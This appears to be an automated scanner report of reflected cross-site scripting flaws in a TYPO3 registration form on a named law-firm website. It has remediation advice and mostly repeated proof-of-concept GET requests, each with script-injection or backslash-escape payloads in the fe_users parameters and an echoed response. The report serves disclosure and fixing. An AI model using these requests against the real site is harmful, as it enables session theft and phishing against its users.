Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the FE%5Bfe_users%5D%5B0%5D request parameter is copied into the HTML document as plain text between tags. The payload 765fc<script>alert(1)</script>6ee45e5a499 was submitted in the FE%5Bfe_users%5D%5B0%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E765fc<script>alert(1)</script>6ee45e5a499&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... </script>765fc<script>alert(1)</script>6ee45e5a499'); updateForm('fe_users_form','FE[fe_users][1]','0'); updateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users] ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B0%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13d35\'%3balert(1)//8e6a0f23626 was submitted in the FE%5Bfe_users%5D%5B0%5D parameter. This input was echoed as 13d35\\';alert(1)//8e6a0f23626 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=13d35\'%3balert(1)//8e6a0f23626&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... il_html]',''); updateForm('fe_users_form','FE[fe_users][tx_pdmylibrary_news_user]',''); updateForm('fe_users_form','FE[fe_users][password_again]','3'); updateForm('fe_users_form','FE[fe_users][0]','13d35\\';alert(1)//8e6a0f23626'); updateForm('fe_users_form','FE[fe_users][1]','0'); updateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users] ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B1%5D request parameter is copied into the HTML document as plain text between tags. The payload 79bfb<script>alert(1)</script>bbad2d37fb0 was submitted in the FE%5Bfe_users%5D%5B1%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=079bfb<script>alert(1)</script>bbad2d37fb0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... </script>'); updateForm('fe_users_form','FE[fe_users][1]','079bfb<script>alert(1)</script>bbad2d37fb0'); updateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users][4]','0'); updateForm('fe_users_form','FE[fe_users] ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B2%5D request parameter is copied into the HTML document as plain text between tags. The payload ae940<script>alert(1)</script>a026835ab0d was submitted in the FE%5Bfe_users%5D%5B2%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0ae940<script>alert(1)</script>a026835ab0d&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... </script>'); updateForm('fe_users_form','FE[fe_users][1]','0'); updateForm('fe_users_form','FE[fe_users][2]','0ae940<script>alert(1)</script>a026835ab0d'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users][4]','0'); updateForm('fe_users_form','FE[fe_users][5]','0'); updateForm('fe_users_form','FE[fe_users] ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B3%5D request parameter is copied into the HTML document as plain text between tags. The payload c8d1b<script>alert(1)</script>d23dadbefc1 was submitted in the FE%5Bfe_users%5D%5B3%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0c8d1b<script>alert(1)</script>d23dadbefc1&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... </script>'); updateForm('fe_users_form','FE[fe_users][1]','0'); updateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0c8d1b<script>alert(1)</script>d23dadbefc1'); updateForm('fe_users_form','FE[fe_users][4]','0'); updateForm('fe_users_form','FE[fe_users][5]','0'); updateForm('fe_users_form','FE[fe_users][6]','0'); /*]]> ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B4%5D request parameter is copied into the HTML document as plain text between tags. The payload e512f<script>alert(1)</script>d93c4114a89 was submitted in the FE%5Bfe_users%5D%5B4%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0e512f<script>alert(1)</script>d93c4114a89&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... dateForm('fe_users_form','FE[fe_users][1]','0'); updateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users][4]','0e512f<script>alert(1)</script>d93c4114a89'); updateForm('fe_users_form','FE[fe_users][5]','0'); updateForm('fe_users_form','FE[fe_users][6]','0'); /*]]> ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B5%5D request parameter is copied into the HTML document as plain text between tags. The payload bec11<script>alert(1)</script>fe856d5f00 was submitted in the FE%5Bfe_users%5D%5B5%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0bec11<script>alert(1)</script>fe856d5f00&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... dateForm('fe_users_form','FE[fe_users][2]','0'); updateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users][4]','0'); updateForm('fe_users_form','FE[fe_users][5]','0bec11<script>alert(1)</script>fe856d5f00'); updateForm('fe_users_form','FE[fe_users][6]','0'); /*]]> ...[SNIP]...
The value of the FE%5Bfe_users%5D%5B6%5D request parameter is copied into the HTML document as plain text between tags. The payload 27942<script>alert(1)</script>05f26062564 was submitted in the FE%5Bfe_users%5D%5B6%5D parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=027942<script>alert(1)</script>05f26062564&FE%5Bfe_users%5D%5Baddress%5D=3&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... dateForm('fe_users_form','FE[fe_users][3]','0'); updateForm('fe_users_form','FE[fe_users][4]','0'); updateForm('fe_users_form','FE[fe_users][5]','0'); updateForm('fe_users_form','FE[fe_users][6]','027942<script>alert(1)</script>05f26062564'); /*]]> ...[SNIP]...
The value of the FE%5Bfe_users%5D%5Baddress%5D request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ef89\'%3balert(1)//3af9dc914c6 was submitted in the FE%5Bfe_users%5D%5Baddress%5D parameter. This input was echoed as 7ef89\\';alert(1)//3af9dc914c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /my-library-log-in/my-library/new-user/srfeuser/create.html?FE%5Bfe_users%5D%5B0%5D=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00004D)%3C/script%3E&FE%5Bfe_users%5D%5B1%5D=0&FE%5Bfe_users%5D%5B2%5D=0&FE%5Bfe_users%5D%5B3%5D=0&FE%5Bfe_users%5D%5B4%5D=0&FE%5Bfe_users%5D%5B5%5D=0&FE%5Bfe_users%5D%5B6%5D=0&FE%5Bfe_users%5D%5Baddress%5D=37ef89\'%3balert(1)//3af9dc914c6&FE%5Bfe_users%5D%5Bcity%5D=3&FE%5Bfe_users%5D%5Bcompany%5D=3&FE%5Bfe_users%5D%5Bemail%5D=netsparker@example.com&FE%5Bfe_users%5D%5Bgender%5D=0&FE%5Bfe_users%5D%5Bpassword%5D=3&FE%5Bfe_users%5D%5Bpassword_again%5D=3&FE%5Bfe_users%5D%5Bstatic_info_country%5D=AFG&FE%5Bfe_users%5D%5Btitle%5D=3&FE%5Bfe_users%5D%5Busername%5D=Ronald%20Smith&FE%5Bfe_users%5D%5Bzip%5D=3&FE%5Bfe_users%5D%5Bzone%5D=AL&tx_srfeuserregister_pi1%5Bcmd%5D=create&tx_srfeuserregister_pi1%5Bpreview%5D=1&tx_srfeuserregister_pi1%5Bsubmit%5D=Submit HTTP/1.1 Host: www.phelpsdunbar.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=27854845.1302905835.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); fe_typo_user=812d0e9a14; __utma=27854845.703389798.1302905835.1302911975.1302962918.3; __utmc=27854845; __utmb=27854845
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- This website is powered by TYPO3 - ins ...[SNIP]... 'FE[fe_users][password]','3'); updateForm('fe_users_form','FE[fe_users][usergroup][]','1'); updateForm('fe_users_form','FE[fe_users][name]',''); updateForm('fe_users_form','FE[fe_users][address]','37ef89\\';alert(1)//3af9dc914c6'); updateForm('fe_users_form','FE[fe_users][telephone]',''); updateForm('fe_users_form','FE[fe_users][fax]',''); updateForm('fe_users_form','FE[fe_users][email]','netsparker@example.com'); updateF ...[SNIP]...
